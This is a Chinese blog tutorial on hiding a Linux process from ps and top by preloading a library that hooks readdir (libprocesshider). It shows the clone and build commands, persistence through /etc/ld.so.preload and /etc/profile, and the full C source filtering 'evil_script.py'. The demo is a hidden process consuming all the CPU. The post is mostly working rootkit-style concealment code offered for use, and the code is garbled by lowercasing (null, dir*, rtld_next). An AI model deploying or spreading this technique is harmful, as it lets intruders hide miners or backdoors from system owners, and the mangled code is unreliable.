当前位置: 移动技术网 > 网络运营>服务器>Linux > linux 下隐藏进程的一种方法及遇到的坑

linux 下隐藏进程的一种方法及遇到的坑

2019年04月18日  | 移动技术网网络运营  | 我要评论
前言 1.本文所用到的工具在 可以下载 2.思路就是利用 ld_preload 来实现系统函数的劫持 ld_preload是什么: ld_preload是linu

前言

1.本文所用到的工具在 可以下载

2.思路就是利用 ld_preload 来实现系统函数的劫持

ld_preload是什么:

ld_preload是linux系统的一个环境变量,它可以影响程序的运行时的链接(runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

实现

1.下载程序编译

bmfxgkpt-yhd:~# git clone https://github.com/gianlucaborello/libprocesshider.git
cloning into 'libprocesshider'...
remote: counting objects: 26, done.
remote: total 26 (delta 0), reused 0 (delta 0), pack-reused 26
unpacking objects: 100% (26/26), done.
bmfxgkpt-yhd:~# cd libprocesshider/
bmfxgkpt-yhd:~/libprocesshider# make
gcc -wall -fpic -shared -o libprocesshider.so processhider.c -ldl
bmfxgkpt-yhd:~/libprocesshider#

2.移动文件到/usr/local/lib/目录下

mv libprocesshider.so /usr/local/lib/

3.把它加载到全局动态连接局

echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

测试

1.我们运行evil_script.py

2.此时发现在top 与 ps 中都无法找到 evil_script.py

此时我们发现 cpu 100%,但是却找不到任何占用cpu高的程序

分析

#define _gnu_source
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/*
 * every process with this name will be excluded
 */
static const char* process_to_filter = "evil_script.py";
/*
 * get a directory name given a dir* handle
 */
static int get_dir_name(dir* dirp, char* buf, size_t size)
{
  int fd = dirfd(dirp);
  if(fd == -1) {
    return 0;
  }
  char tmp[64];
  snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
  ssize_t ret = readlink(tmp, buf, size);
  if(ret == -1) {
    return 0;
  }
  buf[ret] = 0;
  return 1;
}
/*
 * get a process name given its pid
 */
static int get_process_name(char* pid, char* buf)
{
  if(strspn(pid, "0123456789") != strlen(pid)) {
    return 0;
  }
  char tmp[256];
  snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
  file* f = fopen(tmp, "r");
  if(f == null) {
    return 0;
  }
  if(fgets(tmp, sizeof(tmp), f) == null) {
    fclose(f);
    return 0;
  }
  fclose(f);
  int unused;
  sscanf(tmp, "%d (%[^)]s", &unused, buf);
  return 1;
}
#define declare_readdir(dirent, readdir)                \
static struct dirent* (*original_##readdir)(dir*) = null;        \
struct dirent* readdir(dir *dirp)                    \
{                                    \
  if(original_##readdir == null) {                  \
    original_##readdir = dlsym(rtld_next, "readdir");        \
    if(original_##readdir == null)                 \
    {                                \
      fprintf(stderr, "error in dlsym: %s\n", dlerror());     \
    }                                \
  }                                  \
  struct dirent* dir;                         \
  while(1)                              \
  {                                  \
    dir = original_##readdir(dirp);                 \
    if(dir) {                            \
      char dir_name[256];                     \
      char process_name[256];                   \
      if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&    \
        strcmp(dir_name, "/proc") == 0 &&            \
        get_process_name(dir->d_name, process_name) &&     \
        strcmp(process_name, process_to_filter) == 0) {     \
        continue;                        \
      }                              \
    }                                \
    break;                             \
  }                                  \
  return dir;                             \
}
declare_readdir(dirent64, readdir64);
declare_readdir(dirent, readdir);

1.程序定义了一个变量 process_to_filter 来控制不显示哪个进程名

2.重写readdir,

strcmp(process_name, process_to_filter) == 0)

当发现当前进程名称与 process_to_filter 相同时,继续循环.

遇到的坑

1.某些linux中这个程序编译通不过

解决方法

删除最后两行中的一行

declare_readdir(dirent64, readdir64);
declare_readdir(dirent, readdir);

2.某些linux中使用

shell echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
并不会生效
 此时我们需要配置环境变量
shell bmfxgkpt-yhd:~# vi /etc/profile
增加一行
shell export ld_preload=/usr/local/lib/libprocesshider.so

总结

以上所述是小编给大家介绍的linux 下隐藏进程的一种方法及遇到的坑,希望对大家有所帮助

如您对本文有疑问或者有任何想说的,请点击进行留言回复,万千网友为您解惑!

相关文章:

验证码:
移动技术网